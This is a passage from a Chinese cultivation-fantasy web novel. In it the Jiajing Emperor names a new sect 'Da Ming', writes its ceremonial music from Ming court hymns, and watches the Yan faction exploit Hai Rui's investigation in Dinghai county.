“一套书院帮忙拟定的宗门名字和配套的下品宗门雅章,注意了,是下品雅章,就一篇,知道要多少吗?”刘权竖起两只手,嘶声道: “十万两!” “要是把这十万两花在这地方,简直就是在浪费钱,所以宗门名字和乐章,大多数新兴宗门,都是能自己弄就自己弄。” “实在不行,那也只能花钱让书院弄了。” 一个宗门名字,外加个配套的下品乐章,就价值十万两灵源!? 饶是嘉靖,也不由的目光一凝,使用过灵源修炼,他更知道灵源的珍贵。 一个宗门名字和一套乐章就要十万两灵源,确实是贵到让人无法接受的地步。 而且,这还是一套只有一篇的下品乐章,那要是来个中品,上品又该要多少? 这里头的利润能有多少?肥死了! “难道除了找书院,就不能找其他人吗?这生意,除了书院,旁人能做吗?”嘉靖问道。 “能,”刘权摇头,道:“但不保证审核通过,而且卖的不比书院便宜多少,六万两灵源一个名字,外加配套的下品乐章。” “一经售出,不再退换!” 嘉靖了然,这倒也是,六万两不包过,还不如多花点找书院弄,肯定能过。 一时间,嘉靖的倒也断了做这一行生意的心思。 要不然弄乐章,儒家那一套,自己的内阁诸老们,肯定是各个都是小能手。 “叫先生过来,就是看先生能否有新的宗门名字,和编出一套适配的乐章出来。 实在不行,那就只能花钱让书院弄了。” “先生之后就是宗门高层,这些事宜自然也是要共同参与商议的……到了!”刘权说着,飞毯一震,之前来过的主山头已近在跟前。 “宗门名字,乐章……” 看着远处的山寨房屋,嘉靖心中倒是有了些想法。 “……” 第三十八章 龙吟虎啸,大明九奏乐章 山寨大堂分主次坐着五个人。 上方三个虎皮宽阔大椅紧挨着呈“山”字排开,上坐三个体型如小山,气势如野兽般的人。 这仨不是别人,正是大当家独孤英、二当家独孤雄、三当家孤独汉三兄弟。 “他的体魄,似乎又强大了不少。”看到独孤英,嘉靖眼底有异色闪过。 稍一想便了然,想来是这次的开辟战争得了好处的缘故,也可能是跟他修行功法有关。 独孤英,身高八尺半,体态魁梧,面如满月,双目如炬,胡须浓密异常。 一头长发束于脑后,浑身肌肉堆积,看起来犹如同雕刻般坚实,极具视觉冲击感。 左边的二当家独孤雄,身高八尺,但身材却显得匀称而健壮,双眼锐利,如同鹰隼俯瞰大地,手臂粗壮有力,下盘稳健如山。 与上次看,倒是没有太大变化。 倒是老三独孤汉,表面上似乎受了不轻的伤。七尺的身高,肤色黝黑,体格粗犷,胡须乱蓬,双眼如铜铃,闪烁着野性的眸光。 颧骨部位,从左至右一道伤痕,似乎是要将他的脑袋给一分为二。 本就是满脸横肉,此刻更显霸气。 此时,这三位当家看到嘉靖,都是立刻露出笑脸,笑呵呵的起身,神情间带着敬重之色。 坐在下方的两个体型正常的人上次见过,左边的是山寨管家宋薪柴,既定的二长老。 五十多岁,面相忠厚,清清瘦瘦,沉默寡言,不善言辞。 练气五层,练气中期的修为。 右边是当初跟嘉靖一起,被关在一个牢房里的柳源,大家都习惯叫他柳老,既定的三长老,练气六层,练气中期修为。 柳源看起来跟宋薪柴差不多,也是五十多岁的模样,同样是個沉默寡言的性格,得益于制作飞梭的好手艺,见得世面不少。 一举一动间,都很是稳重。 与宋薪柴不善言辞的沉默寡言不同,这是个喜欢多看,少说,多做事,内敛的人。 “半月时间,先生从凡人突破到练气二层,这速度着实让人惊叹啊!” 独孤英瓮声瓮气的一开口,就给人一种体型上的压迫感,凶悍气息扑面而来,隐约间仿佛有野兽咆哮般,气血滚滚。 他是金丹期的大修士,自然一眼就看穿了嘉靖的修为境界。 其他人向嘉靖投来目光,都是目露惊色。 倒不是说练气二层修为多高,而是他们之前可都是见过嘉靖,凡人一个。 身上还有一身的毒素,除了气度不凡,让人不容忽视外,并未有什么特殊之处。 但如今,仅过了半个月,就突破练气二层,这就不得不让他们惊讶了。 这说明,嘉靖的本命很是不凡! “恭喜先生。”惊讶归惊讶,众人反应倒是不慢,皆是在第一时间对嘉靖道贺。 一番客套寒暄,刘权坐在了左边二长老宋薪柴的身边,嘉靖坐在了三长老柳源身边。 至此,黑风寨当下的高层全部到齐。 “人都到齐了,请牒的事,大刘你对先生说了吗?”独孤英看向刘权,瓮声瓮气道。 “来时已经与先生说明。”刘权说着,喝了口灵茶,呸了口茶叶。 “先生,你可有更好的主意?”独孤英有些希冀的看向嘉靖。 众人也都朝着嘉靖投来目光。 毕竟,小玄派这三个字当门派名,确实有些跌份,上不得台面了。 独孤英可是金丹期的大修士,开创宗门怎么说也是中型宗门了,太不上台面了。 柳源也朝嘉靖看来。 小玄派的名字就是他取的。 他虽见过不少世面,但取名实在不是他的强项,嘉靖之前说的宗门治理理念,刘权整理后他也是拜读过的,也是佩服的紧。 “来时倒是有些许想法,”嘉靖沉吟片刻,没有直接说,而是看向最大个,野兽一样的独孤英,“敢问大当家本命属性为何?” 在修仙世界,直接问别人的本命是什么,是件很不礼貌,甚至会被视为敌意的表现。 若是那种通过本命物,就能猜到本命的倒也罢了,万一是那种较为隐秘的,那可就尴尬了。 但若是询问本命属性,则没有太大顾虑,毕竟从功法施展这些都能看出来。 “俺是火属性。”独孤英看着嘉靖这一副从容不迫的模样,心中莫名的很有信心,说话间抬手一蓬火焰“嘭”的升腾而起。 “嗷!”隐约间,似乎有野兽吼声传出。 本命是兽吗?众人心中略有猜测,但谁也没在这点上纠结,毕竟那声兽吼都听到了。 “火属性,”嘉靖略一沉吟,开口道:“火就是炎…炎精开运,笃生圣主……” 说到此处,他眼皮微抬,环视众人一圈,幽幽语气吐出,“不如叫大明,如何?” “仙宗曰:大明!” 在‘大明’二字出口的第一时间,不算大的大堂里,无形中似有低沉的龙吟虎啸。 “大明?”独孤英眼前一亮,身子向前探了探,道:“嗯,先生刚才念的那什么炎精开运,笃生圣主的,俺听的就很有感觉。” “可是有什么说法?” 其他人咀嚼一番这句话,也是暗暗点头。 一旁见过世面的柳源,轻抚胡须,暗道:“这开头,颇有仙宗大派乐章开篇的韵味……” “炎精开运,笃生圣主,”嘉靖看向独孤英,“大当家本命属火,火即是炎,你是仙宗之主,仙宗在你手上开辟,自当为圣主。” “炎火耀世,明照十方!” “大明之大,万古无双;大明之明,万古不灭!” “大明所照,央无数天下,幽冥之处皆常大明。” “诸天之内,天地神人鬼;蠃鳞毛羽昆之类。见我大明,莫不喜悦生于心。” “此乃,大明之名要义所在,”说着,嘉靖语气微微一顿,道:“如此倒也符合书院的取名意义深远,体统得当的要求。” “好!” 一番话说完,在场众人都不由听的热血沸腾,内心激荡。 与大明之名相比,小玄派真的是犹如萤火之光与皓月相比一般,毫无特色。 刘权也是满满的激动之色,他的直觉是对的,朱先生果然有办法,没让他失望。 “好,定了,宗门就叫大明,大明仙宗!”独孤英小山一样的体型站起,振臂挥舞。 独孤雄跟独孤汉也是认同的点头,先生这番话确实说到他们心坎里去了,尤其是那句“大明所照,央无数天下”,让人热血激荡。 他们也想自家宗门,日后能有这等分量,可央无数天下,可照亮幽冥,可令诸天内,五仙五虫之类见到大明,就心生欢喜。 这等宗门该是何等风景? 恐怕就算是掌控无垠疆域的白马书院,这等体量的超级修仙势力,也无法比拟吧? 怕是放眼这二十八宿,东方青龙星域内,那都是顶尖超级仙门吧? 一时间,众人都被嘉靖一番话激的对未来,产生了无限的遐想与期望! “先生,您可能编撰与大明配套的乐章?”这时,刘权问出了最关键的点。 “自然,”嘉靖面上始终一副从容不迫的模样,看向刘权,道:“不过在此之前,还要确定用‘大明’二字做宗派名是否可行。” 大明九奏乐章,稍做修改即可拿来用,这乐章,对自己来说,根本不算什么难事。 “大刘!”上首位置的独孤英给刘权使了个眼色。 得到独孤英示意后,刘权自得一笑,抬手拿出一块人脸大,四四方方的玉书。 “这是书院出售的登基在册的宗门名录,一本十两灵源,方便新建宗门检测名字。” “只要把宗门名字输入其中,玉书会自动检测……”说话的功夫,他已经将名字输了进去,只见玉书上浮现出密密麻麻的文字。 道道流光闪烁,在众人紧张的期待下,半晌后半空中玉书文字隐去,化作两个大字: “可用!” “……” 第三十九章 闲职,练气四层了 “成了!” 看到名字能用,独孤英一拍大腿,当即哈哈大笑起来,其他人也都是面色一松。 只有嘉靖,始终面色平静坦然。 如果这个名字不成,那就换一个,这些并不算什么大事,不值得他为之情绪波动。 身为一个帝王,还是个以权谋御下,精致利己主义的帝王,他更清楚自己想要什么。 帝王处事,全都是结果导向,他更甚之! 这时,独孤英又看向嘉靖,语气更为敬重而重视,道:“宗门雅章就看先生的了。” 一个契合的宗门名字,一套适配的宗门雅章,最少都能为一個新宗派省下十万两。 这笔钱,放在宗门层面上来说不算多,但此刻宗派兴建,能不花冤枉钱自然是好的。 “自然,”嘉靖微微颔首,看向刘权,“不过宗门雅章这东西,可能需要时日。” 嘉靖自然不需要太久,大明九奏乐章他虽然不记得全部,但也不过是回去看一眼的事。 但这东西,可不能一次就拿出来,否则必然引起其他人多心,嘉靖自然不会多此一举。 说这话的意思,也是在询问刘权,最早要在截止日之前多久? 这些事,基本不用问独孤英了,这种日子都是刘权在一手操办。 果然,其他人也都看向了刘权这位军师,宗门未来的大长老。 “书院要求是在乙丑之岁,秋风初起,壬子之辰前将请牒送上,虽说有一年半的时间,”刘权略一沉吟,“不过大多数新宗派建立,最迟都不会超过一个月时间。” 刘权说话间,神情中有考量之色。 “宗门选址我们已经买了下来,灵脉也已经解开了封印,时间长了无人看守,怕是会引起一些仙匪和散修的觊觎。” “虽说有书院在,无人敢乱来,但就怕一些亡命之徒,平白招惹事端。” “所以,最迟一个月内弄好。” “好,就这么定了,接下来说说宗门的事情……”接下来嘉靖从独孤英口中得知了宗门具体选址,以及宗门内的各项事宜。 以及其他高层日后要接管的宗门要务。 独孤雄跟独孤汉两兄弟,以后就是宗门的左右护法,负责宗门的安全防御和灵脉守护。 毕竟对于一个宗门来说,灵脉是最重要的东西之一,事关日后发展。 大长老刘权,日后要负责所有弟子的招收与考核。 二长老宋薪柴本就是山寨的管家,再加上还有一手拿得出手的炼丹技术,就负责掌管宗门的所有后勤,资源发放,灵田种养等。 三长老柳源则主要负责日后宗门贸易。 毕竟柳源可有一手不算差的飞梭制作手艺,这种人才,只有在大型宗门才具备。 一艘飞梭,尽管柳源比那些顶尖、师出名门的人差了很多,但制作的飞梭,也是能拿得出手卖的,一艘少说价值三万两灵源。 这些,以后会是宗门的大头收入。 至于嘉靖,学识、谈吐、还有那堪称天才的修炼速度,都很值得众人敬重。 又看起来像是个饱读诗书的大儒,独孤英就让他负责掌管宗门的‘传承阁’。 除了日常呆在传承阁,做做登记外,还负责宗外家族送来的弟子,进行启蒙。 算是个闲职,嘉靖倒也乐的自在。 而且,这个职位在他看来,还有其他重要的意义,以后家族诞生的孩子,都要经过自己的手进行启蒙,那他们就会是自己的门生。 嘉靖坚信,这些门生,会是自己未来,在宗门内的地位,变得不可动摇的关键! 任何势力,刚开始的时候,自然是上下一心,拧成一股绳,努力发展。 但随着体量的增加,势力的发展,涉及到的利益也会越来越复杂,迟早会有派系之别。 也是任何势力,国家发展的必然性,没有哪个势力能逃开这一规律。 无他,人性使然。 之后,众人又商定了一些宗门细节后,便各自离去返回住处,期间嘉靖又从独孤英处,得到了百两灵源,用作后续修炼资源。 考虑到嘉靖的本命可能不凡,独孤英不光给了灵源,还给了一瓶“小培元丹”。 一种用于稳固修为的丹药,当然一个“小”字就注定了,它作用的仅限于筑基之下。 回到住处后,嘉靖并未第一时间开启修炼,而是抽空回了一趟大明。 仿照大明的九奏乐章,用了一天时间将其改编为宗门雅章后,再次开启了修炼。 时间匆匆。 一个月的时间过去了。 嘉靖的住处,房间里灵气激荡,道袍无风自动。 “哗!”随着灵气猛然荡开,道袍被吹得哗哗作响后平息,嘉靖双眼缓缓睁开。 “练气四层。”嘉靖皱着眉头,心中对这个修炼速度,有些不满意。 之前一天就引气入体,突破练气一层。 一两灵源,在没有灵气的大明,耗时十五天,也就是半个月,突破到练气二层。 可这次,耗时一个月,修炼环境又是灵气充沛的修仙世界,耗费灵源更是多达二十两,竟然才突破了一个境界,达到练气四层。 按照他的估算,这次又是‘小培元丹’帮助稳固境界,又是百两灵源的,资源丰厚。 一个月时间,至少也要突破到练气五层,甚至练气六层,才算是合格。 结果一个月就突破了一个境界! 这其中的落差感,在嘉靖看来,多少有点大了。 不过他到底不是一般人,心中一番自我调节后,很快便恢复了平常心态。 心中一动,抬手撤去周身的禁制,关闭阵法后,嘉靖拿起身边的一沓纸出了门。 这沓纸上记载的,自然是他抄录改编后的大明九奏乐章了。 “先生,宗门雅章可编撰好了?”刚走出门,天际就传来刘权的声音。 一道虹光落下,这次直接落入院中。 嘴里叼着干草,也不清理唏嘘胡渣,始终不修边幅模样的刘权,从黑色飞毯上跳了下来。 “一共九篇,”嘉靖将手里的宗门雅章递给刘权,然后在院子里的石桌旁坐了下来。 “九篇?!”听到嘉靖竟然准备了九篇宗门雅章,刘权发出一声惊呼,也顾不上其他,拿着手里的宗门雅章开始翻越了起来。 “第一篇《炎精开运曲》?”看到第一篇乐章的名字,刘权想到了当日嘉靖所念的“炎精开运,笃生圣主”八个字。 这这八个字也确实在开头。 “炎精开运,笃生圣主。” “仙光耀世,追溯太古。灵泉清澄,宝山瑞气,万物繁盛,弟子安康,泽被大荒。” “灵药献珍,仙丹溢芳。金钟玉罄,仙音绕梁。心神宁谧,炼气化神,调和阴阳。永享仙福,岁月无疆,与天地久长……” 看着看着,刘权下意识的跟着念了起来。 “第二篇,《紫霄凝华曲》。” “紫气西来,仙踪徜徉。洞天福地,霞蔚云翔。神游太虚,心驰八荒……瑞霭飞扬……” “第三篇,《玉清昭明歌》。 真言朗朗,智火煌煌。……真理昭昭,智慧无疆。宗门昌盛,学脉广扬……” “第四篇,《金光镇邪响》……” “第五篇,《瑶池聚贤声》……第六篇,《灵田丰实音》……” “第九篇,《万象和合乐》,万象和合,天地同光…宗门根基,磐石无恙。…宗门繁荣,众生共享。和谐共生,天地同昌……” “嘶!”看完嘉靖编撰的宗门雅章后,刘权双眼瞪的老大,脸上写满了不可思议。 “先生,这九篇宗门雅章,绝对是上品,”刘权毫不吝啬的夸赞,道:“就我估价,这份奏章,放在市面上,少说值几十万两灵源!” “这奏章若是成了,就算是与那些千年,万年仙派的宗门雅章相比,也绝不逊色……” 对此,嘉靖则是不置可否的一笑。 这话,倒是有些夸大了,那些千百年的宗派,宗门雅章绝对不比自己的差。 大明的九奏乐章虽然值得推崇,可大角星修仙世界,可是儒家控制的,多少大儒修仙者,论文化底蕴,还能比大明的差了? “拿给当家看看吧,若是可以,就把请牒呈递给书院,早日确立宗门也好。” 嘉靖语气平静道。 “好,我这就……”刘权收起心中激动,就要离开,可下一刻他看着嘉靖的目光陡然一凝。 “练气中期?!” “……” 第四十章 大明仙宗立,主子陛下,清流玩脱了! “不错。” 嘉靖神色坦然的拿起石桌上的茶壶,给自己倒了一杯灵茶,悠悠道: “修仙果真不是易事,随着境界提高,越是往后,提升的也越慢了。” 刘权:“……” 一番话听的刘权眼皮跳了跳。 这话说出去,怕不是要气死一些人吧? 朱先生,枉我认为您人品贵重,不成想也是如此的…不厚道! “先生,”刘权张了张嘴,语气颇有些幽怨,“这话,在我跟前说说就算了,千万别在老宋和柳老跟前说,切记……” “嗯?”听到这话,嘉靖手上动作一停,而后微微摇头轻笑,喝了一口灵茶,放下茶杯,悠悠道:“这么说,却是我不知足了。” 倒也不怪刘权会这么想。 其实按正常来说,这速度真不慢! 别说嘉靖起步就晚,五六十岁才开始修炼,就算是五六岁开始修炼,这速度都不算慢,甚至说句天纵之才,也丝毫不为过的。 没看到宋薪柴跟柳源二人吗? 这二人修仙,起步少说领先嘉靖一甲子,到现在也才一个练气六层,一个练气五层。 尤其是柳源,大把年纪了,靠着手艺不凡,倒也提前找法子映照了本命,打磨了本命物,本命物反哺之下,也才练气五层。 真要说差,这才叫真正的差。 虽然刘权看起来三十多岁,练气七层,甚至经历过开辟战争后,他可能又要突破。 但,那是因为他年轻时当散修,另有奇遇,而且提前映照本命,炼气期就打磨了本命物,反哺之下,自然提升更快。 放眼整个山寨,拥有本命物的也才五个人。 嘉靖一个半月时间,耗费灵源不到三十两,修为突破到练气四层。 说实话,这份修行速度,刘权都有些嫉妒的心里要反酸水了。 到底是什么样的本命,还未绑定本命物能,就能给身体有如此的反哺功效? 这要是等突破筑基,看到本命后,打磨個上等材质的本命物,这还不原地起飞? “走了。”刘权甩下一句话,跳上飞毯,化作虹光冲天而起。 “朕的路,还远……”嘉靖轻声呢喃。 自己的本命是残破大明,绑定现实大明当本命物后,自己还要继续进行打磨。 也就是说,自己需要让大明从凡人王朝不断的蜕变,甚至是成为传说中的仙朝! 只有大明越强,反哺到本命,本命壮大后,再反哺到自身,他的修为才会水涨船高。 当然,这也意味着,自己的本命打磨,也要比别人慢很多,但终归是值得的。 一步步来就是了,先在筑基之前,尽可能的处理完大明的六大危机。 没有任何的疑问。独孤英在看过嘉靖撰写的宗门雅章后,自然是无比满意,大手一挥,填了请牒,然后刘权直接发给了白马书院。 然后,就是静静等待书院的审核了。 虽然说文牒上说,要择选吉日,集诸学士讨论共审,但基本上当天呈交,三天就通过了。 三日后黑风寨主山头空地处,喧闹异常。 一艘全长约三十三丈,全宽约为三丈,高目测十二到十三丈之间的梭状庞然大物,宛如一座移动的宫殿,凌驾于山寨上空。 这艘梭状庞然大物,外表光滑而流线,本就是赤色的外表,在阳光下宛若一团炎火。 梭体两侧,显得像是滚圆的肚子。 一道道阶梯从两侧延伸而出,总共二十四道,投向黑风寨三座山体之中。 黑风寨内的众人纷纷踏上阶梯,涌入梭体内部。 主山头空地,独孤三兄弟,嘉靖、刘权、宋薪柴和柳源几个高层站定。 “这是‘大璇梭行’二十年前出售的‘朱雀丙火乙木梭’,老家伙了。”这时,飞梭行家的柳源拧开酒葫芦,喝了一口后开口道。 “此飞梭重达一百六六石,全速赶路每时辰可行两千三百二十五里路。” “在当年,此梭是最受各大中小型门派欢迎的,也是最适用的运输型飞梭。” 嘉靖目光从飞梭上收回,看向柳源。 “它是飞梭大家,朱云子先生晚年所作,本意是纪念亡妻,”柳源深吸一口气,感慨道:“但可惜了,没多久,就被淘汰了。” “为何淘汰?” 嘉靖对这飞梭很是眼热,若是大明有灵气,有这东西在,岂不横扫一切? “丙火属阳,名字又是朱雀,过于阳刚了,同时跟着乙木二字,”柳源微微摇头,打了个酒嗝,道:“行内人都说此梭过猛,虽火木相生,然乙木属阴,阳火阴木,必遭反噬!” “结果还真被人言中。” “从‘大璇梭行’出售到大面积投入使用,仅仅三年时间就事故不断。” “经过实测,确实与五行阴阳违逆,而且构造又故意设计的复杂无比。” “全速赶路时,内部火属性阵法产生大量高温,从而泄露,将梭身燃毁。” “但,朱子云先生说什么也不改设计,问其缘由也不说,多年后才言明纪念亡妻之作。” “他妻子便如这‘朱雀丙火乙木梭’一般,复杂,矛盾,最终二人不合……” 听到这里,嘉靖暗暗点头。 看着头顶的庞然大物,配合上这个故事,突然觉得,此物倒是有了几分厚重。 “放心吧,宗门地址距离此处和四方城不远,不需要全速赶路,慢悠悠过去就是,不用担心突然焚毁,这梭子俺用十多年了。” 独孤英上前一步,浑不在意道。 “好了,”等所有人上了飞梭后,体型魁梧庞大,宛若野兽的独孤英一步踏出,道: “我们也出发了!” 说着,大手一挥,继而嘉靖就感到自己被一股澎湃炽热的灵力包裹,只听独孤英一声爆喝,然后所有人就被他裹挟着上了飞梭。 “轰轰轰!”飞梭发出轰鸣声,缓缓升空,众人看了眼下方矮小的三座山头,然后飞梭冲入云端,朝着远处飞驰而出。 一路朝着几千里之外的大明仙宗驻地而去。 飞梭分为上、中、下三层,上层自然是嘉靖等高层活动范围,中层是山寨内的其他兄弟们。 下层,则是山寨中的家眷。 一间专门为长老准备的房间内,嘉靖打坐一番后,想到一个月没回去了,不知道清流和严党把钱交上来了没有,按说也差不多了才对。 而且,一个多月了,也差不多该出关一趟了。 想到现在还未到门派驻地,嘉靖也就没有急着回去,而是闭目进入了识海。 看到了宛若镶嵌在沙盒上的残破大明。 心念一动间,来到了玉熙宫,自己的宫殿外,找到了吕芳。 “奴婢吕芳,敬禀太上大罗天仙/紫极长生圣智昭灵/统三元/证应玉虚/总管五雷大真人/玄都境/万寿帝君,主子陛下……” “清流把事情搞砸了,事情不可收拾了,严党又揪着清流不放,还请主子示下……” 听到吕芳的祷告,嘉靖眉头一皱。 这是怎么回事?不就是收账吗?清流把事情搞砸了?这怎么可能? 还是说,清流想赖账! 想到这里,嘉靖眼神冷了下来。 “……” 第四十一章 原来是海瑞,这就不奇怪了 “奴婢吕芳,敬禀…主子陛下……” “清流把事情搞砸了,事情不可收拾了,严党又揪着清流不放,还请主子示下……” 嘉靖看着玉熙宫门口,不断的对着自己虔诚祷告说明的吕芳,收敛了不满的心思。 “徐阶,张居正这些人都是人精,不会这么愚蠢的,不可能故意不给钱拖延。”想着,嘉靖心中一动,开始视听大明。 视野从玉熙宫移开,第一时间来到了严府,此时严嵩父子的动态,全部映入眼前。 严府,灯火通明的书房里。 “哈哈哈!”书房里,小阁老严世蕃手拿信笺,发出畅快的大笑声。 严嵩端坐在榻上,一手拿着一份公文,一手拿笔勾勾画画,抬眼看着大笑的儿子,哼笑一声,没再说话,继续勾勾画画。 他是内阁首辅,自然是要处理公务的。 “哎呀,这个海瑞,海刚峰,真是太招人喜欢了!”严世蕃笑吟吟的用手背拍了拍信笺,“清流这次算是搬起石头打自己的脚了!” “海瑞?啧啧!”严世蕃说着,将信笺放在桌上,来到严嵩另一边坐下,手肘撑着小桌,探头道:“爹,机会来了!” 严嵩也不说话,斜睨了眼鬼精鬼精,要搞事的儿子一眼,哼笑一声便不再理会。 这一声笑中,像是在看小孩子的宠溺。 “皇上的意思我们都明白,”严世蕃见老爹不为所动,继续劝道:“就是让清流舍弃部分商人,然后手填一笔钱交上来。” “清流就派了海瑞这个愣头青,彰显他们的公正无私,让海瑞把周家连根断掉。” “之后如法炮制,把晋江县沈家,以及其他几县的商人家族也抄一遍,事就算过了。” “我原以为这海瑞不过是的徒有其名,清流敢把此人拿出来,说明也是一伙的。” “在他这钦差身边,安插一个赵子明,也不过是为了时刻了解清流动向,”严世蕃说着,嘴角勾起笑容,“没想到他竟是真清官!” “不但查了周家在嘉靖三十五年到三十九年的走私账目,就连之前的也查!” “于是我将计就计,利用海瑞身边的赵子明,将定海县当地士绅家族,林家的一些事,透露给了海瑞。” “他果然像是闻到了鱼腥的猫一样,这钩上的甘之如饴,不把定海县掀翻不罢休!” “爹!”严世蕃说着,神色间全是激动之色,“这时候如果我们在朝中支持海瑞,让他继续查下去,定能通过林家,顺藤摸瓜到徐阶家族在江浙两地的利益网,将其连根拔起!” “这是个千载难逢的机会啊,绝对不能错过…爹,出手吧!” 然而不管严世蕃怎么劝,严嵩始终一副不为所动的样子,慢吞吞的放下手里的公文,然后又从旁抽出一份,就要继续审阅。 “啪!”严世蕃一把摁住,言辞恳切,“爹,机会稍纵即逝,错过了可就没了!” “就算不能一举将其拔起,也能给他们找些麻烦,您别忘了我们接下来要对边疆的田地动手,这可是要跟清流不死不休了。” “所以该出手的时候绝不能迟疑啊!” “朝廷不是私斗的地方,同朝为臣,大家都是一心为公,没有什么不死不休一说,”严嵩慢吞吞的说着,而后话锋一转,又道: “但朝中若是有官员利用职务便利,为己谋私,那自然要一查到底,不可轻纵!” 听到这里,严世蕃知道,老爹这是要出手了。 “放心吧爹,我知道该怎么做!”听到严嵩这番话,严世蕃眼底精光爆闪。 当即起身朝着门外而去,找到自己的两个跟班心腹,罗龙文跟鄢懋卿商讨对策去了。 “无怪如此。” 视野从严府收回后,通过严世蕃跟严嵩的对话,嘉靖也顿时明白了是怎么回事,不由轻叹,“原来是海瑞,这就不奇怪了……” “哼!”想着嘉靖又不由轻笑一声,“严世蕃说的倒也不错,徐阶他们确实用错了人。” 以海瑞的性子,别说严世蕃有心捣乱,就算他什么都不做,这账查下去迟早会越挖越深。 海瑞此人,眼底里是容不得沙子的。 他们以为舍弃几個商人家族,让海瑞走个过场就算完了,可他们看错了人。 他们只看到了海瑞的清明公正是把剑,却没意识到这是把双刃剑,注定了伤人伤己。 甚至这把剑在嘉靖看来,只有自己一个人可以用,因为海瑞注定了不属于任何派系! “没想到改稻为桑这事没了,海瑞还是被启用了,倒是比预想的要提前了太多。” 想着,嘉靖的目光来到了宁波府,定海县的县衙后堂,找到了海瑞。 张居正举荐了海瑞,然后因为周家走私,原定海县知县已经被撤职。 海瑞任命定海县知县,彻查周家走私案。 而王用汲原本是在淳安县当教谕的,因为与海瑞的关系不一般,为人相比于海瑞要柔和许多,就被张居正提前调到了定海县。 顺理成章的被任命为了主簿! 至于张子明,内阁直接派遣的监察御史。 摆明了就是严党用来监视清流在定海县行为的。 对此张居正等人虽然不满,倒也没太担心,毕竟已经安排好了一切。 海瑞跟王用汲都是他们的人,当地的士绅大族、官员、甚至周家都会配合。 快刀斩乱麻的,就把事了了! 之后,他们就可以借用海瑞查案有功为名,调海瑞去边疆,用这把剑跟严党厮杀。 然而就是这样万无一失的安排,还是出了岔子。 “汝贤,在想什么?”王用汲放下手上的账簿,来到窗前与海瑞并肩而立。 “太顺利了,”海瑞缓缓开口,“查案太顺利了。” “就像是有人事先给我编了一张网,然后把猎物绑在网中间,然后让引我过去捕获猎物。” “确实太顺利了,”王用汲略一思索,也点了点头,然后又微微一笑,“文昭不是已经查到了隐藏更深的林家吗?继续查就是了。” 海瑞闻言,转身看了这位好友一眼,而后沉声道:“有人在织网,让我查周家!” “那么,张子明查到的东西,就是在帮助我撕开大网,看到织网的人!” “他们想让我将剑锋对准那个织网者!可,这个帮助我的人,目的又为何?” 海瑞目光灼灼的看着王用汲。 “这……”王用汲一怔,低头略一思索后,突然像是想到了什么,抬头看向海瑞,道: “我们来定海是徐阁老的意思,查周家也是徐阁老的意思,那织网的人岂不就是……” “徐阁老他们。”王用汲话没说完,海瑞跟着就道开口。 “朝中能跟徐阁老他们斗的人,除了严党,还会有谁?”海瑞说完,走向书桌。 “张子明,也是严党的人!” “若真是如此,你我恐怕会卷入这稍有不慎就会被撕得粉碎的漩涡之中,不如……”王用汲了解海瑞为人,下意识的上前想要劝说。 “不如什么?”海瑞提起笔的同时抬头,“不如就此打住?” “可是周家的案子已经结了,没有人让我们查别的!”王用汲据理力争。 “若非查清真相,何以慰藉百姓?”海瑞缓缓放下笔,目光如炬,凝视着王用汲。 “……” 第四十二章 海瑞这把好剑注定属于朕,宗门步入正轨,回归! “汝贤,你……” 王用汲张口,还想要说什么,可海瑞的话语坚定而沉重。 仿佛每字每句,都重若千斤一般,压得他一时竟不知道该如何去劝。 他知道海瑞的为人,根本劝不动的! 最主要的是,海瑞的话,也说到了他心里。 “我既然踏上了这条路,就没有回头的余地。”海瑞的声音低沉而有力,“严党也好,清流也罢,他们的争斗与我无关。” “我只问苍天,何为正义?何为百姓福祉?”海瑞的话语如同洪钟大吕,回荡在静谧的书房中,也深深地触动了王用汲的心。 他知道,海瑞已经做出了选择,一个无论如何,都不会改其志的选择。 看着决不停手的海瑞,王用汲眸光闪了又闪,而后摇头苦笑。 “也罢,”王用汲失笑着,连连摆手,“我早该想到,从我见到你海刚峰的时候,我就应该知道,别想轻易的糊涂了事了。” 笑过后,王用汲神色一肃,对着海瑞郑重抱拳,道:“既如此,我愿与汝贤共赴此行!” 王用汲眼中闪烁着坚定的光芒。 他明白,这不仅仅是一句承诺,更是自己心里对海瑞这份坚定信念的敬重和支持。 海瑞闻言,嘴角露出一抹微笑,抬起双臂,与王用汲抱拳相对,亦是敬自己的选择。 书房中,两人的身影显得格外坚毅,腰背也异常笔挺。窗外,吹来的风,让摇曳的烛火,将二人的影子照的扭曲而晃动。 好似有无形中的风暴席卷而来! 二人之间的友谊,也因此而逐渐建立。 视线渐渐拉高,嘉靖的目光从二人身上收回。 “这海瑞,不光是刚正,还很有头脑。” 嘉靖知道,海瑞已经意识到这次定海县之行,背后是清流跟严党的博弈了,自己是清流派来查清流自己,所以才会这么顺利。 现在,那张子明,给他定海县士绅家族林家的线索,显然这不是清流示意的。 那只能是背后的严党动手了。 他若是要查,就目前来看,严党肯定是站在他这边的,那他跟王用汲就万无一失。 “但海瑞这把剑太过刚硬了,真要让他继续疯下去,恐怕就要折在东南了。” “别说那些士绅大族不会让他活着,朕的儿子,也不会为了他废掉清流派系……”想着,嘉靖微微摇头,“这把好剑注定属于朕。” …… “轰隆隆。” “所有人准备好,我们到了!” 大半日后,飞梭传来一阵震动,独孤英的声音响彻整个飞梭内部。 嘉靖打坐结束起身来到外面,远远的就看到了下方那一片云雾笼罩之地,道道霞光自下而上,隐隐形成一道光幕的形状。 而在云雾下方,则是一片群山笼罩的建筑群落。 从高处俯瞰而下,整个大明仙宗的驻地,从地形上看,整体呈一个“川”字。 左边是一条宛若蛟龙一般的明亮长江,最右边则是一望无尽的林海。 中间是一片郁郁葱葱的青山群落。 在群山中间最高的一座山峰之上,大明仙宗的宗门驻地,就在这里。 旁边几座小山上,也有高高矮矮的房屋建筑。 “先生,如何,这就是咱大明的驻地了!”刘权来到嘉靖身边,望着下方的宗门驻地,脸上写满了骄傲与自得之色。 “我跟你说,大荒开辟战争以后,这座山头有不少人看上,在书院的提议下,比斗决定最终归属权,还是咱大当家实力以力服众!” “最终,在众多同级别修士的觊觎下,夺下这片依山傍水的宝山福地。还有这些宗门建筑,也是买下山头后,书院附赠的。” “之后若是有什么不满意,可以请天工阁的人过来修建,倒也用不了太久……” 嘉靖在旁听着,微微点头,单看这环境,确实不错。 一声声的轰鸣中,等山寨里其他人都下去后,阶梯缓缓收起,嘉靖等宗门高层也朝着那片建筑群落中,最大的殿宇而去。 大明仙宗刚刚确立门派,如今一切都还没有定下章程,等处理完山寨内部的一些事务,分配完一些山寨弟兄们后,才是正式收徒的日子。 不过在此之前,还有一件事需要去办。 那就是在据此三百里的四方城内,开辟凡人家族,安置宗门内的家眷。 